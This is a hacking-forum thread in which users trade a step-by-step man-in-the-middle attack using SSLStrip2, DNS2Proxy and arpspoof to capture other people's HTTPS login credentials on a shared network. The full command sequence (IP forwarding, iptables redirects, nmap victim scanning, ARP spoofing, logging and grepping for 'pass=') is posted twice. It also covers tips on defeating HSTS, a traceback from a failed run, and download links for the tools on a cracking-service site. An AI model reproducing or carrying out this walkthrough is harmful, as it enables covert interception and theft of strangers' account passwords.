

Forum:[Hack Forums](#)

Thread: [SSLStrip2 and DNS2Proxy - Analyzing https requests on a connected network](#)

Velocity24 - December 28, 2015, 1:08 am

Does anyone know whether SSLStrip2 and DNS2Proxy still work with latest versions of Firefox?

After finally tracking down copies of both of these scripts:

SSLStrip2 - <https://github.com/byt3bl33d3r/sslstrip2>

DNS2Proxy - <https://github.com/byt3bl33d3r/dns2proxy>

Have been experimenting to no avail, but wasn't sure whether the reason for my failure was operator error or whether the vulnerability had been patched?

Ilyrm - December 28, 2015, 2:05 am

I didn't experienced any problems with DNS2Proxy on firefox, I would bet on operator error ;)

Velocity24 - December 28, 2015, 2:58 am

And so you were able to successfully obtain credentials from your victim machine to a site which would have otherwise been protected by https (such as facebook, twitter or gmail)?

Wireless Network - December 28, 2015, 1:21 pm

I've tried mitmf today and looks like sslstrip is not working but i'm not sure what version it has

Velocity24 - December 28, 2015, 3:29 pm

Here are the steps involved (if perhaps I'm doing something wrong):

Installation

Clone the git to your machine:

Code `git clone https://github.com/byt3bl33d3r/dns2proxy.git`

`git clone https://github.com/byt3bl33d3r/sslstrip2.git`

Navigate to the directory to which SSLStrip2 was cloned:

Code `cd sslstrip2`

`python setup.py install`

Execution

Enable port forwarding:

Code `echo "1" > /proc/sys/net/ipv4/ip_forward`

`iptables --flush`

`iptables --flush -t nat`

`iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000`

`iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53`

Then use determine your interface that's connected to the network (i.e. wlan0):

Code `ifconfig`

Next determine the gateway IP address (it will be something like 192.168.1.1):

Code route -n

Then scan for your victims IP address using NMap:

Code nmap -sn 192.186.1.1/24

Once you've obtained your victims IPV4 address, then start arpspoofing to capture packets from the victim:

Code arpspoof -i wlan0 -t {victims IPV4 address} {gateway IP address}

Then open a new terminal and start SSLstrip:

Code sslstrip -l 9000 -a -w log.txt

Then open another terminal and proceed to start the DNS server, first by navigating to the directory where DNS2proxy was cloned:

Code cd..

cd dns2proxy

python dns2proxy.py

At this point the attack has been implemented, to view what has been captured open another terminal and type:

Code mousepad log.txt

Search the document using "ctrl + f" for phrase "pass="

To halt the attack use "ctrl + c" in the active terminals.

pomwtin - December 28, 2015, 4:28 pm

Tried it now, still working.

You do know that it wont prevent SSL if you type in url (e.g. facebook.com, which uses HSTS) if it was visited before.

It only works if site is navigated via web browser which ssl can strip (i tried google)

If you want sslstrip to prvent SSL on pages using HSTS even if already cached, you have to delete cache entrys first... for this you can use my cacheraser- it still needs some work, but is working currently

root.localhost - December 28, 2015, 4:39 pm

(Dec 28, 2015 04:29 PM)Velocity24 Wrote: [\[CITE\]](#) Here are the steps involved (if perhaps I'm doing something wrong):

Installation

Clone the git to your machine:

Code git clone https://github.com/byt3bl33d3r/dns2proxy.git

git clone https://github.com/byt3bl33d3r/sslstrip2.git

Navigate to the directory to which SSLStrip2 was cloned:

Code cd sslstrip2

python setup.py install

Execution

Enable port fowarding:

Code echo "1" > /proc/sys/net/ipv4/ip_forward

iptables --flush

iptables --flush -t nat

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000

```
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
```

Then use determine your interface that's connected to the network (i.e. wlan0):

Code ifconfig

Next determine the gateway IP address (it will be something like 192.168.1.1):

Code route -n

Then scan for your victims IP address using NMap:

Code nmap -sn 192.186.1.1/24

Once you've obtained your victims IPV4 address, then start arpspoofing to capture packets from the victim:

Code arpspoof -i wlan0 -t {victims IPV4 address} {gateway IP address}

Then open a new terminal and start SSLstrip:

Code sslstrip -l 9000 -a -w log.txt

Then open another terminal and proceed to start the DNS server, first by navigating to the directory where DNS2proxy was cloned:

Code cd..

cd dns2proxy

python dns2proxy.py

At this point the attack has been implemented, to view what has been captured open another terminal and type:

Code mousepad log.txt

Search the document using "ctrl + f" for phrase "pass="

To halt the attack use "ctrl + c" in the active terminals.

Pretty neat guide I was planning to do a video on this a few months back but never did might try this guide out and tweak it for a video i'll do for my new YouTube channel.

Velocity24 - December 28, 2015, 6:09 pm

Still no joy unfortunately guys, I must be fucking something up somewhere along the way. I am encountering this error:

Code sslstrip -l 9000 -a -w log.txt

sslstrip 0.9 + by Moxie Marlinspike running...

+ POC by Leonardo Nve

Unhandled Error

Traceback (most recent call last):

File "/usr/local/bin/sslstrip", line 107, in main
reactor.run()

File

"/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/internet/base.py", line 1169, in run

self.mainLoop()

File

"/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/internet/base.py", line 1181, in mainLoop

self.doIteration(t)

File

"/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/internet/pollreactor.py", line 167, in doPoll

log.callWithLogger(selectable, _drdw, selectable, fd, event)

--- <exception caught here> ---

File

```

"/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/python/log.py"
, line 84, in callWithLogger
    return callWithContext({"system": lp}, func, *args, **kw)
File
"/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/python/log.py"
, line 69, in callWithContext
    return context.call({ILogContext: newCtx}, func, *args, **kw)
File
"/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/python/context
t.py", line 118, in callWithContext
    return self.currentContext().callWithContext(ctx, func, *args, **kw)
File
"/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/python/context
t.py", line 81, in callWithContext
    return func(*args, **kw)
File
"/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/internet/posix
base.py", line 599, in _doReadOrWrite
    self._disconnectSelectable(selectable, why, inRead)
File
"/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/internet/posix
base.py", line 263, in _disconnectSelectable
    selectable.connectionLost(f)
File
"/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/internet/tcp.py
", line 433, in connectionLost
    Connection.connectionLost(self, reason)
File
"/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/internet/tcp.py
", line 277, in connectionLost
    protocol.connectionLost(reason)
File
"/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/web/http.py",
line 455, in connectionLost
    self.handleResponseEnd()
File "/usr/local/lib/python2.7/dist-packages/sslstrip/ServerConnection.py", line 127, in
handleResponseEnd
    HTTPClient.handleResponseEnd(self)
File
"/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/web/http.py",
line 466, in handleResponseEnd
    self.handleResponse(b)
File "/usr/local/lib/python2.7/dist-packages/sslstrip/ServerConnection.py", line 143, in
handleResponse
    self.client.write(data)
File
"/usr/local/lib/python2.7/dist-packages/Twisted-12.0.0-py2.7-linux-x86_64.egg/twisted/web/http.py",
line 898, in write
    raise RuntimeError('Request.write called on a request after '
exceptions.RuntimeError: Request.write called on a request after Request.finish was called.
Unhandled Error

```

Hi,

does someone have a copy of sslstrip2? cause it is not available on github anymore.

Cheers.

Wifi Pineapple - October 16, 2016, 11:02 am

(Oct 16, 2016 10:37 AM)kojotass Wrote: [\[CITE\]](#) Hi,

does someone have a copy of sslstrip2? cause it is not available on github anymore.

Cheers.Do you not read dates? This thread was from dec of last year. smh

pomwtin - October 16, 2016, 12:23 pm

(Oct 16, 2016 10:37 AM)kojotass Wrote: [\[CITE\]](#) Hi,

does someone have a copy of sslstrip2? cause it is not available on github anymore.

Cheers.

Well since the thread is already bumped... here you go:

<http://crackingservice.com/backup/sslstrip2-master original.zip>

<http://crackingservice.com/backup/dns2proxy-master original.zip>

I can vouch for genuinity of files, it is my personal backup

kojotass - October 16, 2016, 3:23 pm

Great pomwtin.

Much appreciated!

Mr. Robot - October 16, 2016, 3:45 pm

(Oct 16, 2016 12:23 PM)pomwtin Wrote: [\[CITE\]](#) Well since the thread is already bumped... here you go:

<http://crackingservice.com/backup/sslstrip2-master original.zip>

<http://crackingservice.com/backup/dns2proxy-master original.zip>

I can vouch for genuinity of files, it is my personal backup

Are these still working mate?

kojotass - October 16, 2016, 8:37 pm

Probably not. I have tested it on FF49 and Gmail without success, but.. it is good to have it.

pomwtin - October 17, 2016, 7:42 am

Yes, they do work if used as supposed